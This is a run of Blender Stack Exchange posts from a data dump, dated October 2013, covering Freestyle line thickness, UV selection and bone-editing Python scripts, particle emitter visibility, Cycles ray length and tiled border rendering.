  <row Id="3533" PostTypeId="2" ParentId="3528" CreationDate="2013-10-26T14:14:23.767" Score="2" Body="&lt;p&gt;If you go to the &lt;em&gt;Freestyle Line Style&lt;/em&gt; panel, go to &lt;em&gt;Thickness&lt;/em&gt; and add a &lt;em&gt;Distance from Camera modifier&lt;/em&gt;. It seems like a good idea to select all objects in your scene and press &lt;em&gt;Fill Range by Selection&lt;/em&gt;, so the range matches your scene. &lt;em&gt;Value min&lt;/em&gt; and &lt;em&gt;Value max&lt;/em&gt; are basically how thin or thick your lines can get. Also tick &lt;em&gt;Invert&lt;/em&gt; else objects far away will get a thicker line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qk5B.jpg&quot; alt=&quot;Freestyle Line Style panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="668" LastActivityDate="2013-10-26T14:14:23.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3534" PostTypeId="2" ParentId="3527" CreationDate="2013-10-26T14:42:40.763" Score="1" Body="&lt;p&gt;I managed to get the pixels of a certain frame, but several condition have to be met (it's a bit obscure why all this is needed):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Image datablock needs to be used by an &lt;code&gt;'IMAGE'&lt;/code&gt; texture&lt;/li&gt;&#xA;&lt;li&gt;That texture needs to be selected in the Properties Editor's texture tab &lt;br&gt;(doesn't matter if an object is selected or if it's the world texture context)&lt;/li&gt;&#xA;&lt;li&gt;Properties Editor's Texture tab needs to be activated (before every frame change!)&lt;br&gt;&lt;code&gt;Area.spaces[0].context = 'TEXTURE'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;code&gt;Texture.image_user.frame_duration&lt;/code&gt; to the desired frame&lt;/li&gt;&#xA;&lt;li&gt;Read the pixels like &lt;code&gt;Texture.image.pixels[:]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Maybe it's worth to rather create a sequence and set the timeline frame instead...&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-26T14:42:40.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3535" PostTypeId="2" ParentId="3528" CreationDate="2013-10-26T14:44:39.813" Score="10" Body="&lt;p&gt;Yes, it is possible. &lt;strong&gt;Here is how:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First change the &lt;em&gt;Line Thickness&lt;/em&gt; parameter under Properties tab &gt; Freestyle to &lt;em&gt;Relative&lt;/em&gt; &lt;strong&gt;(1)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9D2dK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next go to the Render layers properties, or just click the icon in the Freestyle panel &lt;strong&gt;(2)&lt;/strong&gt;. Then go to the thickness tab &lt;strong&gt;(3)&lt;/strong&gt;, and then Add a &lt;em&gt;Distance from Camera&lt;/em&gt; modifier &lt;strong&gt;(4)&lt;/strong&gt; .&#xA;You then have to check the &lt;em&gt;invert&lt;/em&gt; box &lt;strong&gt;(5)&lt;/strong&gt; to that the lines decrease in width over the distance. You will see a parameter slider box called &lt;em&gt;Range Max&lt;/em&gt; &lt;strong&gt;(6)&lt;/strong&gt; , this value should be the distance of the farthest object away visible in the shot.You can use the &lt;em&gt;Fill Range by selection&lt;/em&gt;, or do it manually. In my case the object is about 100BU away. &lt;em&gt;Value Min&lt;/em&gt; &lt;strong&gt;(7)&lt;/strong&gt; and &lt;em&gt;Value Max&lt;/em&gt; &lt;strong&gt;(8)&lt;/strong&gt;  control the ending width and starting width, respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lrAbf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For animations you might have to set keyframes for these values&lt;/li&gt;&#xA;&lt;li&gt;You can ignore the &lt;em&gt;Base Thickness&lt;/em&gt; parameter&lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;Distance from Object&lt;/em&gt; modifier can achieve similar results and may be more suitable for animations.&lt;/li&gt;&#xA;&lt;li&gt;Lines are drawn based on edges. One long cube is only going to have the same width through, regardless of the modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vpnWz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s7YhA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2013-10-26T15:34:27.640" LastActivityDate="2013-10-26T15:34:27.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3536" PostTypeId="2" ParentId="3409" CreationDate="2013-10-26T16:53:14.540" Score="24" Body="&lt;p&gt;Try the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the object(s) you want to move (the one you'd be &quot;pasting&quot; coordinates to).&lt;/li&gt;&#xA;&lt;li&gt;Shift+Select the object with coordinates you want to copy, making it the Active Object.&lt;/li&gt;&#xA;&lt;li&gt;In the 3D View's Properties region (&lt;kbd&gt;N&lt;/kbd&gt;), right-click any one of the Location coordinate fields and choose &lt;em&gt;Copy to Selected&lt;/em&gt; from the menu that appears&lt;/li&gt;&#xA;&lt;li&gt;All selected objects will have the same location as the active object. This also works for scale and rotation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-10-26T16:53:14.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3537" PostTypeId="2" ParentId="3532" CreationDate="2013-10-26T17:00:29.143" Score="7" Body="&lt;p&gt;The UV map being shown in the UV Image Editor is the active one, accessible through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.UVLoopLayers.html#bpy.types.UVLoopLayers.active&quot;&gt;&lt;code&gt;uv_layers.active&lt;/code&gt;&lt;/a&gt; variable of active object's mesh data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Mesh.html#mesh-data&quot;&gt;API docs&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Mesh.html#bpy.types.Mesh.loops&quot;&gt;&lt;code&gt;loops&lt;/code&gt;&lt;/a&gt; and all UV maps in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Mesh.html#bpy.types.Mesh.uv_layers&quot;&gt;&lt;code&gt;uv_layers&lt;/code&gt;&lt;/a&gt; are aligned. Which means, if you have the indices of every selected &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.MeshUVLoop.html&quot;&gt;&lt;code&gt;MeshUVLoop&lt;/code&gt;&lt;/a&gt; within current mesh's UV map, you'll get the corresponding &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.MeshLoop.html&quot;&gt;&lt;code&gt;MeshLoop&lt;/code&gt;&lt;/a&gt; at the same indices within that mesh's list of loops. From there, you can get their vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make my explanation above clearer, here's a sample script that will print selected UV loops' vertex coordinates to console. The script won't work if &lt;code&gt;use_uv_select_sync&lt;/code&gt; button in UV Image Editor's header is toggled on, in which case &lt;code&gt;MeshUVLoop&lt;/code&gt;'s &lt;code&gt;select&lt;/code&gt; property is ignored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# UV data is accessible only in object mode&#xA;prev_mode = bpy.context.object.mode&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;# Update vertex selection properties, in case the script wasn't run in&#xA;# object mode&#xA;bpy.context.object.update_from_editmode()&#xA;&#xA;# Active object assumed to be a mesh and already have a UV map&#xA;mesh = bpy.context.object.data&#xA;uv_map = mesh.uv_layers.active&#xA;selected_loops = []&#xA;selected_vertices = set()&#xA;&#xA;for index, uv_loop in enumerate(uv_map.data):&#xA;    if(uv_loop.select):&#xA;        selected_loops.append(index)&#xA;&#xA;for loop_index in selected_loops:&#xA;    selected_vertices.add(mesh.loops[loop_index].vertex_index)&#xA;&#xA;for vertex_index in selected_vertices:&#xA;    print(mesh.vertices[vertex_index].co)&#xA;&#xA;print('*' * 20)&#xA;&#xA;# Restore whatever mode the object is in previously&#xA;bpy.ops.object.mode_set(mode=prev_mode)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-10-26T17:00:29.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3538" PostTypeId="2" ParentId="3529" CreationDate="2013-10-26T19:39:11.507" Score="8" Body="&lt;p&gt;Make a smoke sim. Model flowing branches, set as smoke flow. Set Density to desired opacity. Set temp diff to 0. run sim. add balls at smoke termination points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it in motion, give balls a negative (-500) force field, raise temp diff slightly to .05, set dissolve time to 1 in domain, lower temp diff and vorticity in domain to taste. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all cases you'll want to hide the original smoke model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWP3E.png&quot; alt=&quot;smoke-tubes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastEditorUserId="1456" LastEditDate="2013-10-26T20:01:51.660" LastActivityDate="2013-10-26T20:01:51.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3539" PostTypeId="1" AcceptedAnswerId="3542" CreationDate="2013-10-26T20:47:15.990" Score="12" ViewCount="13025" Body="&lt;p&gt;Is it possible to hide a particle emitter object in the 3D view while keeping particles visible?&lt;br&gt;&#xA;I know you can do this in the render with the &lt;em&gt;Render Emitter&lt;/em&gt; setting, but this does not affect the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes the emitter can get in the way, though it's still useful to know where it is. The ideal solution then is to make it drawn as a wireframe, &lt;strong&gt;but setting the &lt;em&gt;Maximum draw type&lt;/em&gt; to &lt;em&gt;Wire&lt;/em&gt; or &lt;em&gt;Bounds&lt;/em&gt; causes all the particles to be rendered as wireframes or bounding boxes too&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the emitter object's draw type would work, except it also changes the way the particles for that emitter are drawn:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xjVPSm.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/f1M5jm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to make particle emitters hidden or less distracting while keeping the actual particles unaffected (still rendered as solid or textured)?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-26T22:50:40.653" LastActivityDate="2020-12-16T20:28:46.427" Title="Is it possible to hide particle emitters in the viewport without hiding particles?" Tags="&lt;3d-view&gt;&lt;particles&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3540" PostTypeId="1" AcceptedAnswerId="3543" CreationDate="2013-10-26T22:02:45.093" Score="3" ViewCount="1254" Body="&lt;p&gt;Is it possible to get the distance a ray travels inside an object with cycles material nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTU8f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then map it to a 0-1 range to create a map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTLAm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. to adjust the color of a &lt;em&gt;Glass&lt;/em&gt; node to make it more transparent where there is less volume between the camera and light:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E0xkA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The example images above were rendered with the Layer weight node. This only works on spheres.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-26T22:25:40.950" Title="Is it possible to get the length of a ray inside an object with nodes?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3541" PostTypeId="2" ParentId="3539" CreationDate="2013-10-26T22:06:59.837" Score="2" Body="&lt;p&gt;Create a bounding box around the emitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a boolean modifier to the emitter, set the mode to difference and chose the bounding box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure the particle system is applied before the boolean modifier (order in modifier stack)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hide the bounding box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1tg9.png&quot; alt=&quot;Properties panel with emitter selected&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="1479" LastEditDate="2013-10-26T22:12:08.627" LastActivityDate="2013-10-26T22:12:08.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3542" PostTypeId="2" ParentId="3539" CreationDate="2013-10-26T22:17:12.710" Score="17" Body="&lt;p&gt;Another way (similar to &lt;a href=&quot;https://blender.stackexchange.com/a/3541/599&quot;&gt;Michal's answer&lt;/a&gt;) is to use a &lt;em&gt;Mask modifier:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an empty vertex group to the particle emitter by pressing the &lt;strong&gt;+&lt;/strong&gt; button in &lt;em&gt;Object Data &amp;gt; Vertex Groups&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1prqb.png&quot; alt=&quot;Add a vertex group&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add a mask modifier after the particle system with the empty vertex group:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUoF5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There was a &lt;a href=&quot;http://developer.blender.org/T37914&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug in 2.69&lt;/a&gt;; in order for the mask modifier to work you had to assign and remove some geometry to the vertex group. It has since been fixed.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2020-12-16T20:28:46.427" LastActivityDate="2020-12-16T20:28:46.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="3543" PostTypeId="2" ParentId="3540" CreationDate="2013-10-26T22:25:40.950" Score="3" Body="&lt;p&gt;It is always the way you ask. Ray length is the distance from previous bounce or refraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be a bit confusing - you have to apply toning to the inner side (backfacing) of your object, because outside rays return distance from other objects - as ray begins from camera, not from light source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as mapping goes - approaches are different - for instance: &lt;a href=&quot;http://lesterbanks.com/2012/10/using-blenders-raylength-node-to-create-a-re-usable-custom-absorption-shader/&quot; rel=&quot;nofollow&quot;&gt;http://lesterbanks.com/2012/10/using-blenders-raylength-node-to-create-a-re-usable-custom-absorption-shader/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-10-26T22:25:40.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3545" PostTypeId="2" ParentId="3526" CreationDate="2013-10-26T22:38:02.473" Score="4" Body="&lt;p&gt;Automatically unwrapping  identical geometry pieces one by one should produce identical UV layouts.&#xA;I.e. if you have a row of identical parts of geometry, select one, do unwrap, select another, etc. Selecting all at once may produce alike, but different islands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If geometry is not identical, I'm afraid you're stuck with manually scaling down to zero required vertexes.&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-10-26T22:38:02.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3546" PostTypeId="2" ParentId="3539" CreationDate="2013-10-26T22:43:54.023" Score="-2" Body="&lt;p&gt;In the object tab, set &quot;maximum draw type&quot; to &quot;bounds&quot;. It won't be gone completely, but not really distracting and still selectable.&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-10-26T22:43:54.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3547" PostTypeId="2" ParentId="3532" CreationDate="2013-10-26T23:58:10.947" Score="4" Body="&lt;p&gt;Blender comes with a template which deals with UV selection, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Templates &gt; Python &gt; Operator Mesh UV&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The body of this template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = context.active_object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;uv_layer = bm.loops.layers.uv.verify()&#xA;bm.faces.layers.tex.verify()  # currently blender needs both layers.&#xA;&#xA;# adjust UVs&#xA;for f in bm.faces:&#xA;    for l in f.loops:&#xA;        luv = l[uv_layer]&#xA;        if luv.select:&#xA;            # apply the location of the vertex as a UV&#xA;            luv.uv = l.vert.co.xy&#xA;&#xA;bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2014-01-21T00:27:59.327" LastActivityDate="2014-01-21T00:27:59.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3549" PostTypeId="1" AcceptedAnswerId="3552" CreationDate="2013-10-27T10:58:44.463" Score="5" ViewCount="2463" Body="&lt;p&gt;I want to calculate a rotation matrix from two vectors, in order to check the steps are correct I have setup 3 armatures. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A reference bone (arm_org), &lt;/li&gt;&#xA;&lt;li&gt;One that is directly rotated by applying a rotation matrix (arm_rot) and &lt;/li&gt;&#xA;&lt;li&gt;Another (arm_mat) that should be rotated by a matrix that has been calculated from the rotational difference of the 1st and 2nd.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Why are the bones tails not updated? &#xA;Unfortunatly &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/bpy.types.ArmatureEditBones.html#bpy.types.ArmatureEditBones&quot; rel=&quot;nofollow&quot;&gt;ArmatureEditBones&lt;/a&gt; isn't well documented. I also tried to set the active bone. But the changes are not reflected in the 3D view. Only the currently selected bone can manipulated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def setBone( name, v ):&#xA;    arm = bpy.data.armatures[ name ]&#xA;    print(&quot;set arm=&quot; + name + &quot; v=&quot; + str( v ))&#xA;    for bone in arm.edit_bones: &#xA;        print( bone.tail )&#xA;        bone.tail= v&#xA;&#xA;def getBone( name ):&#xA;    #bpy.context.scene.objects.active = bpy.data.objects[ name ] &#xA;    arm = bpy.data.armatures[ name ]&#xA;    print(&quot;get arm=&quot; + name + &quot; arm=&quot; + str( arm ))&#xA;    v = None&#xA;    for bone in arm.edit_bones: &#xA;        print( bone.tail )&#xA;        v = bone.tail&#xA;    return v&#xA;&#xA;def vec():&#xA;    mx = mathutils.Matrix.Rotation(math.radians(15.0), 4, 'X')&#xA;    my = mathutils.Matrix.Rotation(math.radians(30.0), 4, 'Y')&#xA;    mz = mathutils.Matrix.Rotation(math.radians(45.0), 4, 'Z')&#xA;    m = mx * my * mz&#xA;    print( &quot;m : &quot; + str (m ))&#xA;&#xA;    # get and duplicate original tail pos of reference bone    &#xA;    vo = getBone(&quot;arm_org&quot;)&#xA;    if vo == None:&#xA;        print(&quot;arm_org not found&quot;)&#xA;        return&#xA;    setBone(&quot;arm_mat&quot;, vo.copy() )&#xA;    setBone(&quot;arm_rot&quot;, vo.copy() )&#xA;    vr = vo * m&#xA;    setBone(&quot;arm_rot&quot;, vr )&#xA;&#xA;    # recalc and apply matrix from rotational difference&#xA;    q = vo.rotation_difference( vr )&#xA;    mr = q.to_matrix()&#xA;    mr.resize_4x4()&#xA;    vm = vo * mr&#xA;    setBone( &quot;arm_mat&quot; , vm )&#xA;    print(&quot;mr: &quot; + str(mr))&#xA;    print( &quot;-&quot; * 20 )&#xA;&#xA;vec()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/24866&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt; (works only in edit mode with arm_org selected)&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29301" LastEditDate="2018-10-14T17:01:56.933" LastActivityDate="2018-10-14T17:01:56.933" Title="How can a bone's tail be changed by a script?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;armature&gt;&lt;bones&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="3550" PostTypeId="1" CreationDate="2013-10-27T13:13:16.317" Score="8" ViewCount="1836" Body="&lt;p&gt;I am trying to visualise some physics simulations in Blender. The simulation result is a path that an object travels over time. I am importing the collection of points as a curve into Blender using a python script. I then use a &quot;follow path&quot; constraint on the object and set the curve as the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good. However, the motion of the object is not as I expected. Blender seems to interpolate the motion along the distance of the path. The spatial co-ordinates are correct, but the time doesn't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, assume that the points are (in 2D for simplicity):&#xA;&lt;code&gt;&#xA;(0,0)  (1,1)  (4,4)&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want to run the animation for 20 frames. I expect the object to be at (1,1) on frame #10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what Blender does is, it takes the length of the total path and then interpolates. Since the last point (4,4) is much farther away, on frame #10 the object is not at (1,1) but somewhere between (1,1) and (4,4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workaround was to write &lt;a href=&quot;https://gist.github.com/hrj/7181866&quot;&gt;a script&lt;/a&gt; instead of using the &quot;follow path&quot; constraint. The script inserts keyframes at each position in the simulation at the corresponding frame numbers. In the example above, key frames will be inserted at frames 0, 10 and 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is hacky and slow. My question is, can this be done in a better way?  I suspect this will be very useful to many people who try to visualise data.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2014-02-03T01:33:38.097" Title="How to follow a path by curve points rather than length?" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3551" PostTypeId="1" AcceptedAnswerId="3571" CreationDate="2013-10-27T16:24:23.957" Score="2" ViewCount="330" Body="&lt;p&gt;I want to be able to render a tile and then move to the left and render that tile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3082/specify-tile-size-for-blender-cycles-rendering-via-command-line&quot;&gt;Specify tile size for Blender Cycles rendering via command line&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have gotten this... I have no idea how to make it loop to the next one. I'm new to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs without error but I'm sure its all wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    mx = scene.render.border_max_x = 0&#xA;    sx = scene.render.border_min_x = 0&#xA;    sy = scene.render.border_min_y = 0&#xA;    my = scene.render.border_max_y = 0&#xA;    scene.render.use_border = True&#xA;    scene.render.use_crop_to_border = True&#xA;if 1 &amp;gt; 0:&#xA;    my = my + .2;&#xA;    mx = mx + .2;&#xA;    scene.render.border_max_x = mx&#xA;    scene.render.border_min_x = 0&#xA;    scene.render.border_min_y = 0&#xA;    scene.render.border_max_y = my&#xA;    int (my);&#xA;    int (mx);&#xA;&#xA;    bpy.ops.render.render()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="206" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-11-05T03:52:40.580" Title="Changing tile location" Tags="&lt;cycles-render-engine&gt;&lt;python&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3552" PostTypeId="2" ParentId="3549" CreationDate="2013-10-27T20:07:41.893" Score="5" Body="&lt;p&gt;To change bones in an Armature, you need to use the EditBones, and the Armature has to be in editmode. As only a single object can be in editmode at a time in Blender, you need to change mode if you wanna access different Armature's EditBones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your script doesn't change mode and the &lt;code&gt;.edit_bones&lt;/code&gt; property will be &lt;code&gt;None&lt;/code&gt; if the owning Armature is in Object or Pose Mode. Thus &lt;code&gt;for bone in arm.edit_bones&lt;/code&gt; will end immediately (nothing to loop over) and &lt;code&gt;v&lt;/code&gt; remains &lt;code&gt;None&lt;/code&gt; (the initial value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to make your script working, and it will have a visual effect now, not sure if it's what you want though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;import mathutils&#xA;from mathutils import Vector,Quaternion&#xA;import math&#xA;&#xA;def dump2(obj, level=0):&#xA;   for attr in dir(obj):&#xA;       print( &quot;obj.%s = %s&quot; % (attr, getattr(obj, attr)))&#xA;&#xA;def setBone(name, v):&#xA;    arm = bpy.data.objects.get(name)&#xA;    if armature_prepare(arm):&#xA;        print(&quot;set arm=&quot; + name + &quot; v=&quot; + str(v))&#xA;        for bone in arm.data.edit_bones: &#xA;            print( bone.tail )&#xA;            bone.tail= v&#xA;&#xA;def armature_prepare(arm):&#xA;    if arm is not None and bpy.ops.object.mode_set.poll():&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;        bpy.context.scene.objects.active = arm&#xA;        arm.select = True&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        return True&#xA;    return False&#xA;&#xA;def getBone(name):&#xA;    v = None&#xA;    arm = bpy.data.objects.get(name)&#xA;&#xA;    if armature_prepare(arm):&#xA;        print(&quot;get arm=&quot; + name + &quot; arm=&quot; + str(arm))&#xA;        for bone in arm.data.edit_bones: &#xA;            print(bone.tail)&#xA;            v = bone.tail&#xA;    return v&#xA;&#xA;def vec():&#xA;    mx = mathutils.Matrix.Rotation(math.radians(15.0), 4, 'X')&#xA;    my = mathutils.Matrix.Rotation(math.radians(30.0), 4, 'Y')&#xA;    mz = mathutils.Matrix.Rotation(math.radians(45.0), 4, 'Z')&#xA;    m = mx * my * mz&#xA;    print( &quot;m : &quot; + str (m ))&#xA;&#xA;    # get and duplicate original tail pos of reference bone    &#xA;    vo = getBone(&quot;arm_org&quot;)&#xA;    if vo == None:&#xA;        print(&quot;arm_org not found&quot;)&#xA;        return&#xA;    setBone(&quot;arm_mat&quot;, vo.copy())&#xA;    setBone(&quot;arm_rot&quot;, vo.copy())&#xA;    vr = vo * m&#xA;    setBone(&quot;arm_rot&quot;, vr )&#xA;&#xA;    # recalc and apply matrix from rotational difference&#xA;    q = vo.rotation_difference( vr )&#xA;    mr = q.to_matrix()&#xA;    mr.resize_4x4()&#xA;    vm = vo * mr&#xA;    setBone(&quot;arm_mat&quot; , vm)&#xA;    print(&quot;mr: &quot; + str(mr))&#xA;    print(&quot;-&quot; * 20)&#xA;&#xA;vec()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2013-10-29T09:09:43.040" LastActivityDate="2013-10-29T09:09:43.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
